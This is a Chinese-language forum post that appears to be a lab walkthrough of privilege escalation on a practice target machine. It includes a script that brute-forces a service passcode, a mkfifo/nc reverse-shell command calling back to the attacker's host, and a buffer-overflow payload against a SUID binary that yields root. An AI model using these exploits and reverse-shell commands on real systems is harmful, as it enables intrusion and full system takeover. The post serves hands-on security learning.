打靶day5拓展

山雀7   ·   发表于 2022-06-08 17:59:59   ·   技术文章

上次突破边界之后使用CVE-2021-3439比较容易的拿下了root,但是靶机是2020年发布的,这次来尝试用别的办法提权

信息收集

  1. cat /etc/passwd

  1. cd /home
  2. ls -l
  3. cd socnet
  4. ls -l
  5. cat monitor.py


还记得day5做web信息收集的时候admin的发言吗,说运行了一个monitor.py的监控脚本。

  1. #my remote server management API
  2. import SimpleXMLRPCServer //导入这个库
  3. import subprocess //导入subprocess这个库来创建进程
  4. import random //导入random库来生出随机数
  5. //定义了debugging_pass变量,看上去像什么的密码,通过random模块来生出1000-9999的随机数
  6. debugging_pass = random.randint(1000,9999)
  7. //定义runcmd函数里面有个cmd变量
  8. def runcmd(cmd):
  9. //定义一个新变量results结果,创建一个新进程来启用一个新的shell来执行变量cmd,然后为shell的标准输出stdout,标准报错stderr,标准输入stdinsubprocess.PIPE提供一个文本流缓存区
  10. results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  11. //定义一个变量output输出标准报错和标准输出
  12. output = results.stdout.read() + results.stderr.read()
  13. return output
  14. //定义函数cpu,调用上面的runcmd来执行系统命令cat /proc/cpuinfo,可以看到cpu相关信息
  15. def cpu():
  16. return runcmd("cat /proc/cpuinfo")
  17. //查看操作系统内存
  18. def mem():
  19. return runcmd("free -m")
  20. //查看磁盘存储
  21. def disk():
  22. return runcmd("df -h")
  23. //查看ip地址
  24. def net():
  25. return runcmd("ip a")
  26. //上面所有的操作都是通过runcmd来创建一个进程,用一个新的shell来执行相应的命令,然后标准的输出或者报错返回给客户端。如果可以通过一个客户端来访问这个服务端,去调用上面的这些函数,就可以把这些命令执行的结果返回给我们。
  27. //定义函数secure_cmd,变量cmd,passcode
  28. def secure_cmd(cmd,passcode):
  29. //如果passcode=上面最开始生成的随机数,就调用runcmd来执行cmd命令。而这里的cmd命令不像上面一样写死了这里可以我们自己写,但是想要成功的条件就是要知道这次monitor.py运行时候生成的1000-9999之间的四位随机数。
  30. if passcode==debugging_pass:
  31. return runcmd(cmd)
  32. //不然就返回Wrong passcode
  33. else:
  34. return "Wrong passcode."
  35. server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
  36. server.register_function(cpu)
  37. server.register_function(mem)
  38. server.register_function(disk)
  39. server.register_function(net)
  40. server.register_function(secure_cmd)
  41. server.serve_forever()


大概了解这是个什么之后来看代码,详细的可以看下面的网站,我就不啰嗦了
https://docs.python.org/zh-cn/3/library/xmlrpc.client.html#module-xmlrpc.client

代码分析完后思路就清晰了,接下来需要拿到monitor.py运行时候的四位随机数
1.把上面图中的客户端代码复制生成一个python文件,尝试去连接靶机的服务端
2.尝试调用secure_cmd这个函数,执行任意一个命令,爆破通过返回结果的不同来找到debugging_pass。
客户端代码:

  1. import xmlrpc.client
  2. with xmlrpc.client.ServerProxy("http://靶机地址:脚本运行的端口/") as proxy:
  3. print(str(proxy.is_even(3))) //is_even可以换成别的你想用的函数,以及括号里对应的参数就行

测试一下能否正确连接,先用个cpu函数


调用secure_cmd来爆破出密码

  1. import xmlrpc.client
  2. with xmlrpc.client.ServerProxy("http://10.0.3.10:8000/") as proxy:
  3. for p in range(1000,10000): //定义passcode1000-10000
  4. r = str(proxy.secure_cmd('whoami',p)) //定义result为不同passode执行whoami时的返回
  5. if not "Wrong" in r: //如果返回结果中没有wrong,通过上面的分析知道passcode不等于debuging_pass的时候会返回Wrong passcode
  6. print(p) //输出正确的passcode
  7. print(r) //以及whoami的返回
  8. break 关闭循环


报错了,发现1000,10000里面写的.不是,
然后是"Wrong"不是'wrong'


得到正确的passcode=1010
反弹shell

  1. import xmlrpc.client
  2. with xmlrpc.client.ServerProxy("http://localhost:8000/") as proxy:
  3. cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.3.4 4444 >/tmp/f'
  4. r = str(proxy.secure_cmd(cmd, 1010))
  5. print(r)


升级一下shell

  1. python -c "import pty; pty.spawn('/bin/bash')"

  1. id


add_record这个可执行程序有suid,sgid权限位,并且属主是root
尝试寻找里面的漏洞提权


peda是一个动态调试的工具
漏洞挖掘的实质:像程序数据提交的入口点去提交数据。

  1. ./add_record


是一个添加雇工信息的软件,填完信息以后发现多了一个文本文件记录刚刚输入的信息。


测试出来了能提交数据的5个入口点:名字,工作年限,薪资,是否有问题,解释。都尝试一遍是否有内存溢出漏洞

  1. gdb -q ./add_record
  2. r

打开调试工具来调试程序


第一个提交点,姓名
缓冲区溢出测试方法:输入大量的字母A,如果变量存在缓冲区溢出,导致内存溢出覆盖到了其他寄存器,通过判断其他寄存器里面的数据是否都是A
1.python -c "print('A'*700)"
2.贴进去


程序直接退出了,并没有跟进寄存器,堆栈里面的数据,说明姓名这个点不存在

第二个提交点,工作年限


也不存在漏洞

第三个


没有
第四个


最后一个了没有就寄
第五个


在选择有工作上的问题,并且要你输入解释的这个点出发了漏洞。重点关注eip寄存器,它是系统要执行的下一条命令的内存地址


接下来判断这四个A在700个A中的位置,然后把这里换成payload的内存地址。
二分法不断确定触发溢出的区间试试350个A看看能不能造成溢出,如果不可以就说明在350-700这个区间,如果可以就说明在350以下,就继续试试150A能不能溢出,原理1参考盲注。
最后缩小到了100个A


用调试器的自带功能生成一百个特征字符
pattern create 100


芜湖,找到了epi寄存器里是被AHAA这几位覆盖的
pattern search


从62位之后开始进去eip寄存器



验证判断,看内存中的16进制的数值71616b7a的时候发现是倒着来的,是qakz的assci编码
接下来查看汇编代码
disas main

  1. Dump of assembler code for function main:
  2. 0x080486d8 <+0>: lea ecx,[esp+0x4]
  3. 0x080486dc <+4>: and esp,0xfffffff0
  4. 0x080486df <+7>: push DWORD PTR [ecx-0x4]
  5. 0x080486e2 <+10>: push ebp
  6. 0x080486e3 <+11>: mov ebp,esp
  7. 0x080486e5 <+13>: push edi
  8. 0x080486e6 <+14>: push esi
  9. 0x080486e7 <+15>: push ebx
  10. 0x080486e8 <+16>: push ecx
  11. 0x080486e9 <+17>: sub esp,0xa8
  12. 0x080486ef <+23>: call 0x80485b0 <__x86.get_pc_thunk.bx>
  13. 0x080486f4 <+28>: add ebx,0x1654
  14. 0x080486fa <+34>: mov DWORD PTR [ebp-0xac],0x414e
  15. 0x08048704 <+44>: lea edx,[ebp-0xa8]
  16. 0x0804870a <+50>: mov eax,0x0
  17. 0x0804870f <+55>: mov ecx,0x18
  18. 0x08048714 <+60>: mov edi,edx
  19. 0x08048716 <+62>: rep stos DWORD PTR es:[edi],eax
  20. 0x08048718 <+64>: sub esp,0x8
  21. 0x0804871b <+67>: lea eax,[ebx-0x13ee]
  22. 0x08048721 <+73>: push eax
  23. 0x08048722 <+74>: lea eax,[ebx-0x13ec]
  24. 0x08048728 <+80>: push eax
  25. 0x08048729 <+81>: call 0x8048520 <fopen@plt> //内嵌函数fopen@plt,打开文件
  26. 0x0804872e <+86>: add esp,0x10
  27. 0x08048731 <+89>: mov DWORD PTR [ebp-0x1c],eax
  28. 0x08048734 <+92>: sub esp,0xc
  29. 0x08048737 <+95>: lea eax,[ebx-0x13d4]
  30. 0x0804873d <+101>: push eax //在这里下一个断点然后s分布运行
  31. 0x0804873e <+102>: call 0x80484e0 <puts@plt> //这一条命令就会显示前面截图里第一次使用add_recored时候显示的welcome信息
  32. 0x08048743 <+107>: add esp,0x10
  33. 0x08048746 <+110>: sub esp,0xc
  34. 0x08048749 <+113>: lea eax,[ebx-0x137c]
  35. 0x0804874f <+119>: push eax //下一个断点单步执行下一条命令
  36. 0x08048750 <+120>: call 0x8048480 <printf@plt> //命令的结果是返回输入用户名
  37. 0x08048755 <+125>: add esp,0x10
  38. 0x08048758 <+128>: mov eax,DWORD PTR [ebx-0x4]
  39. 0x0804875e <+134>: mov eax,DWORD PTR [eax]
  40. 0x08048760 <+136>: sub esp,0x4
  41. 0x08048763 <+139>: push eax
  42. 0x08048764 <+140>: push 0x19
  43. 0x08048766 <+142>: lea eax,[ebp-0x39]
  44. 0x08048769 <+145>: push eax
  45. 0x0804876a <+146>: call 0x80484b0 <fgets@plt>
  46. 0x0804876f <+151>: add esp,0x10
  47. 0x08048772 <+154>: sub esp,0xc
  48. 0x08048775 <+157>: lea eax,[ebx-0x1366]
  49. 0x0804877b <+163>: push eax//把刚才断点删掉,在这里在下一个断点然后s单步执行
  50. 0x0804877c <+164>: call 0x8048480 <printf@plt> //命令的结果是返回输入工作年限
  51. 0x08048781 <+169>: add esp,0x10
  52. 0x08048784 <+172>: sub esp,0x8
  53. 0x08048787 <+175>: lea eax,[ebp-0x40]
  54. 0x0804878a <+178>: push eax
  55. 0x0804878b <+179>: lea eax,[ebx-0x1352]
  56. 0x08048791 <+185>: push eax
  57. 0x08048792 <+186>: call 0x8048540 <__isoc99_scanf@plt>
  58. 0x08048797 <+191>: add esp,0x10
  59. 0x0804879a <+194>: sub esp,0xc
  60. 0x0804879d <+197>: lea eax,[ebx-0x134f]
  61. 0x080487a3 <+203>: push eax
  62. 0x080487a4 <+204>: call 0x8048480 <printf@plt> //所以推断这个命令是返回输入薪资
  63. 0x080487a9 <+209>: add esp,0x10
  64. 0x080487ac <+212>: sub esp,0x8
  65. 0x080487af <+215>: lea eax,[ebp-0x44]
  66. 0x080487b2 <+218>: push eax
  67. 0x080487b3 <+219>: lea eax,[ebx-0x1352]
  68. 0x080487b9 <+225>: push eax
  69. 0x080487ba <+226>: call 0x8048540 <__isoc99_scanf@plt>
  70. 0x080487bf <+231>: add esp,0x10
  71. 0x080487c2 <+234>: sub esp,0xc
  72. 0x080487c5 <+237>: lea eax,[ebx-0x1340]
  73. 0x080487cb <+243>: push eax
  74. 0x080487cc <+244>: call 0x8048480 <printf@plt> //输入是否有工作问题
  75. 0x080487d1 <+249>: add esp,0x10
  76. 0x080487d4 <+252>: sub esp,0x8
  77. 0x080487d7 <+255>: lea eax,[ebp-0x48]
  78. 0x080487da <+258>: push eax
  79. 0x080487db <+259>: lea eax,[ebx-0x1352]
  80. 0x080487e1 <+265>: push eax
  81. 0x080487e2 <+266>: call 0x8048540 <__isoc99_scanf@plt>
  82. 0x080487e7 <+271>: add esp,0x10
  83. 0x080487ea <+274>: call 0x80484a0 <getchar@plt>
  84. 0x080487ef <+279>: mov DWORD PTR [ebp-0x20],eax
  85. 0x080487f2 <+282>: cmp DWORD PTR [ebp-0x20],0xa
  86. 0x080487f6 <+286>: je 0x80487fe <main+294>
  87. 0x080487f8 <+288>: cmp DWORD PTR [ebp-0x20],0xffffffff
  88. 0x080487fc <+292>: jne 0x80487ea <main+274>
  89. 0x080487fe <+294>: mov eax,DWORD PTR [ebp-0x48]
  90. 0x08048801 <+297>: cmp eax,0x1
  91. 0x08048804 <+300>: jne 0x804883c <main+356>
  92. 0x08048806 <+302>: sub esp,0xc
  93. 0x08048809 <+305>: lea eax,[ebx-0x1317]
  94. 0x0804880f <+311>: push eax
  95. 0x08048810 <+312>: call 0x8048480 <printf@plt> //输入解释内容
  96. 0x08048815 <+317>: add esp,0x10
  97. 0x08048818 <+320>: sub esp,0xc
  98. 0x0804881b <+323>: lea eax,[ebp-0xac]
  99. 0x08048821 <+329>: push eax
  100. 0x08048822 <+330>: call 0x8048490 <gets@plt>
  101. 0x08048827 <+335>: add esp,0x10
  102. 0x0804882a <+338>: sub esp,0xc
  103. 0x0804882d <+341>: lea eax,[ebp-0xac]
  104. 0x08048833 <+347>: push eax
  105. 0x08048834 <+348>: call 0x80486ad <vuln> //调用vuln,函数不是内嵌函数。info func查看函数,获取了这个函数会调用一个有缓冲区溢出漏洞的stycpy函数,所以刚刚我们在解释那里提交大量的数据会缓冲区溢出
  106. 0x08048839 <+353>: add esp,0x10
  107. 0x0804883c <+356>: sub esp,0xc
  108. 0x0804883f <+359>: lea eax,[ebx-0x130d]
  109. 0x08048845 <+365>: push eax
  110. 0x08048846 <+366>: call 0x80484e0 <puts@plt>
  111. 0x0804884b <+371>: add esp,0x10
  112. 0x0804884e <+374>: mov ecx,DWORD PTR [ebp-0x48]
  113. 0x08048851 <+377>: mov edx,DWORD PTR [ebp-0x44]
  114. 0x08048854 <+380>: mov eax,DWORD PTR [ebp-0x40]
  115. 0x08048857 <+383>: sub esp,0x8
  116. 0x0804885a <+386>: lea esi,[ebp-0xac]
  117. 0x08048860 <+392>: push esi
  118. 0x08048861 <+393>: push ecx
  119. 0x08048862 <+394>: push edx
  120. 0x08048863 <+395>: push eax
  121. 0x08048864 <+396>: lea eax,[ebp-0x39]
  122. 0x08048867 <+399>: push eax
  123. 0x08048868 <+400>: lea eax,[ebx-0x12ec]
  124. 0x0804886e <+406>: push eax
  125. 0x0804886f <+407>: call 0x8048480 <printf@plt>
  126. 0x08048874 <+412>: add esp,0x20
  127. 0x08048877 <+415>: mov ecx,DWORD PTR [ebp-0x48]
  128. 0x0804887a <+418>: mov edx,DWORD PTR [ebp-0x44]
  129. 0x0804887d <+421>: mov eax,DWORD PTR [ebp-0x40]
  130. 0x08048880 <+424>: sub esp,0x4
  131. 0x08048883 <+427>: lea esi,[ebp-0xac]
  132. 0x08048889 <+433>: push esi
  133. 0x0804888a <+434>: push ecx
  134. 0x0804888b <+435>: push edx
  135. 0x0804888c <+436>: push eax
  136. 0x0804888d <+437>: lea eax,[ebp-0x39]
  137. 0x08048890 <+440>: push eax
  138. 0x08048891 <+441>: lea eax,[ebx-0x12ec]
  139. 0x08048897 <+447>: push eax
  140. 0x08048898 <+448>: push DWORD PTR [ebp-0x1c]
  141. 0x0804889b <+451>: call 0x8048510 <fprintf@plt>
  142. 0x080488a0 <+456>: add esp,0x20
  143. 0x080488a3 <+459>: sub esp,0xc
  144. 0x080488a6 <+462>: push DWORD PTR [ebp-0x1c]
  145. 0x080488a9 <+465>: call 0x80484c0 <fclose@plt>
  146. 0x080488ae <+470>: add esp,0x10
  147. 0x080488b1 <+473>: mov eax,0x0
  148. 0x080488b6 <+478>: lea esp,[ebp-0x10]
  149. 0x080488b9 <+481>: pop ecx
  150. 0x080488ba <+482>: pop ebx
  151. 0x080488bb <+483>: pop esi
  152. 0x080488bc <+484>: pop edi
  153. 0x080488bd <+485>: pop ebp
  154. 0x080488be <+486>: lea esp,[ecx-0x4]
  155. 0x080488c1 <+489>: ret
  156. End of assembler dump.

info func

发现这个b程序还用了system函数,这个函数可以命令执行


找到了上面调用的vuln自定义函数,以及backdoor(后门函数?)
disas vuln查看函数的汇编


发现又调用了一个stycpy这么个内嵌函数


搜索后发现这个函数存在缓冲区溢出漏洞。判断问题的原因就出在靶机作者自定义的vuln函数里调用了这个有缓冲区溢出漏洞的内嵌的函数。

查看backdoor函数
disas backdoor


调用setuid来申请权限,然后调用system来执行某些系统命令,但是刚刚查看主程序里面没有直接调用backdoor函数,为了获取具体执行的命令,把起始地址(0x08048676)通过刚刚探测的漏洞贴到eip寄存器里面,让系统下一条命令从这里开始执行,从而去调用backdoor函数,获取操作系统命令信息。

编写payload

  1. python -c "import struct; print('nf\n1\n1000\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" > payload

解释一下:上面的分析知道了要在explain解释原因的提交处的下面才会调用vuln函数,才会有缓冲区溢出,所以要在前面完整的输入姓名:nf,工作年限:1,薪资:1000,是否有工作问题:1,然后在explain处来提交62个A以及经过struct模块倒序(上面分析出来的eip寄存器中内存的数值是16进制的倒序的assci编码)之后的内存地址。


发现backdoor函数调用system去创建了两个进程,第一个执行了一个dash,第二个执行了一个bash这样两个shell。
disas mian查看主程序
找到vuln下断点,单步执行然后看看backdoor怎么被加载进来的,在加载过程又怎么导致两个shell被执行

  1. break vuln
  2. r < payload


按s一直执行到backdoor出现


一直到这申请完权限之后backdoor函数出现了,说明刚刚注入的起始内存地址被正确加载了。


41行开始调用了system函数


执行到这里的时候寄存器里出现了/bin/bash,把这个内容push到eax寄存器里面,让cpu去执行,执行完的结果就是/bin/bash。
理一理流程:主程序有调用了vuln函数——》vuln调用了stycpy这个有漏洞的内嵌函数——》在explain处触发这个漏洞,把backdoor函数的内存地址写入EPI寄存器——》backdoor请求了suid的root权限来执行这个程序调用的system函数——》最后执行/bin/bash
接下来只要正常触发这个漏洞执行以root权限运行的/bin/bash
cat payload - | ./add_record


获得root权限,用这个权限再弹一个回来

总结:
1.信息收集,瞄准socnet
2.源码分析,构造xmlrpc客户端,爆破出正确的passcode
3.通过secure_cmd这个函数反弹shell,拿到socnet权限
4.信息收集,动态调试,触发缓冲区漏洞
5.二分法确认覆盖EIP寄存器内容的位置,分析出具体位置以及内存地址要倒着来
6.汇编分析,梳理触发过程,定位到vuln函数
7.分析vuln定位到stycpy函数
8.分析backdoor函数发现调用sytem函数命令执行,发现利用点
9.利用vuln的缓冲区溢出向EIP寄存器中写入backdoor函数的内存地址
10.动态调试,下断点,单步执行,发现system函数执行了/bin/bash以及/bin/dash.
11.漏洞利用suid提权拿到root权限,最后给自己弹了一个root权限的shell。

用户名金币积分时间理由
Track-劲夫 60.00 0 2022-06-13 11:11:02 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2022-6-8 | 617 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.